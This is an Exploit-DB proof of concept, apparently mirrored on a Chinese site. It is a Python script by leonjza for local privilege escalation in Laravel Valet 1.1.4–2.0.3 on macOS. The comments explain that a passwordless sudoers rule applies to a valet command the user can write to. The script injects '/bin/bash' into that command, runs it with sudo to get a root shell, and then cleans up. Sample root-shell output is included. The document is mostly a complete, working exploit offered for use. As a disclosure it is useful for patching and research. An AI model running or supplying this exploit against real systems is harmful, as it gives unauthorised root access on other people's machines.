Laravel Valet 2.0.3 – Local Privilege Escalation (macOS)

  • 作者: leonjza
    日期: 2021-12-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50591/
  • # Exploit Title: Laravel Valet 2.0.3 - Local Privilege Escalation (macOS)
    # Exploit Author: leonjza
    # Vendor Homepage: https://laravel.com/docs/8.x/valet
    # Version: v1.1.4 to v2.0.3
    
    #!/usr/bin/env python2
    
    # Laravel Valet v1.1.4 - 2.0.3 Local Privilege Escalation (macOS)
    # February 2017 - @leonjza
    
    # Affected versions: At least since ~v1.1.4 to v2.0.3. Yikes.
    # Reintroduced in v2.0.7 via the 'trust' command again.
    
    # This bug got introduced when the sudoers files got added around
    # commit b22c60dacab55ffe2dc4585bc88cd58623ec1f40 [1].
    
    # Effectively, when the valet command is installed, composer will symlink [2]
    # the `valet` command to /usr/local/bin. This 'command' is writable by the user
    # that installed it.
    #
    # ~ $ ls -lah $(which valet)
    # lrwxr-xr-x1 leonjzaadmin51B Feb 25 00:09 /usr/local/bin/valet -> /Users/leonjza/.composer/vendor/laravel/valet/valet
    
    # Running `valet install`, will start the install [3] routine. The very first action
    # taken is to stop nginx (quietly?) [4], but runs the command with `sudo` which
    # will prompt the user for the sudo password in the command line. From here (and in fact
    # from any point where the valet tool uses sudo) the command can execute further commands
    # as root without any further interaction needed by the user.
    # With this 'sudo' access, the installer does it thing, and eventually installs two new
    # sudoers rules for homebrew[5] and valet[6].
    
    # ~ $ cat /etc/sudoers.d/*
    # Cmnd_Alias BREW = /usr/local/bin/brew *
    # %admin ALL=(root) NOPASSWD: BREW
    # Cmnd_Alias VALET = /usr/local/bin/valet *
    # %admin ALL=(root) NOPASSWD: VALET
    
    # The problem with the sudoers rules now is the fact that a user controlled script
    # (rememeber the valet command is writable to my user?) is allowed to be run with
    # root privileges. More conveniently, without a password. So, to trivially privesc
    # using this flaw, simply edit the `valet` command and drop `/bin/bash` in there. :D
    
    # Or, use this lame script you lazy sod.
    #
    # ~ $ sudo -k
    # ~ $ python escalate.py
    # * Shell written. Dropping into root shell
    # bash-3.2# whoami
    # root
    # bash-3.2# exit
    # exit
    # * Cleaning up POC from valet command
    
    # [1] https://github.com/laravel/valet/commit/b22c60dacab55ffe2dc4585bc88cd58623ec1f40
    # [2] https://github.com/laravel/valet/blob/v2.0.3/composer.json#L39
    # [3] https://github.com/laravel/valet/blob/v2.0.3/cli/valet.php#L37-L50
    # [4] https://github.com/laravel/valet/blob/v2.0.3/cli/Valet/Nginx.php#L133
    # [5] https://github.com/laravel/valet/blob/v2.0.3/cli/Valet/Brew.php#L171-L177
    # [6] https://github.com/laravel/valet/blob/v2.0.3/cli/Valet/Valet.php#L40-L46
    
    import os
    import subprocess
    
    MIN_VERSION = "1.1.4"
    MAX_VERSION = "2.0.3"
    POC = "/bin/bash; exit;\n"
    
    
    def run_shit_get_output(shit_to_run):
    return subprocess.Popen(shit_to_run, shell=True,
    stderr=subprocess.PIPE, stdout=subprocess.PIPE)
    
    
    def version_tuple(v):
    return tuple(map(int, (v.split("."))))
    
    
    def get_valet():
    p = run_shit_get_output('which valet')
    lines = ''.join(p.stdout.readlines())
    
    if 'bin/valet' in lines:
    return lines.strip()
    
    return None
    
    
    def get_valet_version(valet_location):
    p = run_shit_get_output(valet_location)
    v = p.stdout.read(25)
    
    return v.split("\n")[0].split(" ")[2]
    
    
    def can_write_to_valet(valet_location):
    return os.access(valet_location, os.W_OK)
    
    
    def cleanup_poc_from_command(command_location):
    with open(command_location, 'r') as vc:
    command_contents = vc.readlines()
    
    if command_contents[1] == POC:
    print('* Cleaning up POC from valet command')
    command_contents.pop(1)
    with open(command_location, 'w') as vc:
    vc.write(''.join(command_contents))
    
    return
    
    print('* Could not cleanup the valet command. Check it out manually!')
    return
    
    
    def main():
    valet_command = get_valet()
    
    if not valet_command:
    print(' * The valet command could not be found. Bailing!')
    return
    
    # get the content so we can check if we already pwnd it
    with open(valet_command, 'r') as vc:
    command_contents = vc.readlines()
    
    # check that we havent already popped this thing
    if command_contents[1] == POC:
    print('* Looks like you already pwnd this. Dropping into shell anyways.')
    os.system('sudo ' + valet_command)
    cleanup_poc_from_command(valet_command)
    return
    
    current_version = get_valet_version(valet_command)
    
    # ensure we have a valid, exploitable version
    if not (version_tuple(current_version) >= version_tuple(MIN_VERSION)) \
    or not (version_tuple(current_version) <= version_tuple(MAX_VERSION)):
    print(' * Valet version {0} does not have this bug!'.format(current_version))
    return
    
    # check that we can write
    if not can_write_to_valet(valet_command):
    print('* Cant write to valet command at {0}. Bailing!'.format(valet_command))
    return
    
    # drop the poc line and write the new one
    command_contents.insert(1, POC)
    with open(valet_command, 'w') as vc:
    vc.write(''.join(command_contents))
    
    print('* Shell written. Dropping into root shell')
    
    # drop in the root shell :D
    os.system('sudo ' + valet_command)
    cleanup_poc_from_command(valet_command)
    
    
    if __name__ == '__main__':
    main()